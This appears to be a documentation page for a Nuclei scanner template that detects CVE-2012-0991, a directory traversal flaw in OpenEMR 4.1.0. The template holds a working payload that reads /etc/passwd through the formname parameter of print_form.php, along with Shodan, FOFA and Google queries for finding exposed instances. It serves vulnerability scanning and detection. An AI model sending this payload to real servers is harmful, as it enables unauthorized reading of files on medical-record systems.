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OpenEMR 4.1 - Local File Inclusion

ID: CVE-2012-0991

Severity: low

Author: daffainfo

Tags: cve,cve2012,lfi,openemr,traversal,edb

Description

Section titled “Description”

Multiple directory traversal vulnerabilities in OpenEMR 4.1.0 allow remote authenticated users to read arbitrary files via a .. (dot dot) in the formname parameter to (1) contrib/acog/print_form.php; or (2) load_form.php, (3) view_form.php, or (4) trend_form.php in interface/patient_file/encounter.

YAML Source

Section titled “YAML Source”
id: CVE-2012-0991


info:
  name: OpenEMR 4.1 - Local File Inclusion
  author: daffainfo
  severity: low
  description: Multiple directory traversal vulnerabilities in OpenEMR 4.1.0 allow remote authenticated users to read arbitrary files via a .. (dot dot) in the formname parameter to (1) contrib/acog/print_form.php; or (2) load_form.php, (3) view_form.php, or (4) trend_form.php in interface/patient_file/encounter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or upgrade to a newer version of OpenEMR.
  reference:
    - https://www.exploit-db.com/exploits/36650
    - https://nvd.nist.gov/vuln/detail/CVE-2012-0991
    - http://www.open-emr.org/wiki/index.php/OpenEMR_Patches
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/72914
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:S/C:P/I:N/A:N
    cvss-score: 3.5
    cve-id: CVE-2012-0991
    cwe-id: CWE-22
    epss-score: 0.72743
    epss-percentile: 0.98084
    cpe: cpe:2.3:a:openemr:openemr:4.1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: openemr
    product: openemr
    shodan-query:
      - http.html:"openemr"
      - http.title:"openemr"
      - http.favicon.hash:1971268439
    fofa-query:
      - icon_hash=1971268439
      - body="openemr"
      - title="openemr"
      - app="openemr"
    google-query: intitle:"openemr"
  tags: cve,cve2012,lfi,openemr,traversal,edb


http:
  - method: GET
    path:
      - "{{BaseURL}}/contrib/acog/print_form.php?formname=../../../etc/passwd%00"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a004730450220677a8b4bac82f465e8d5ca4dc290454cb2f64e1d66260688d4bbb9cce973d969022100ad9d8ed379771cb09527c36e34c583ae431704ae240fec909fd5735b43b11103:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2012/CVE-2012-0991.yaml"

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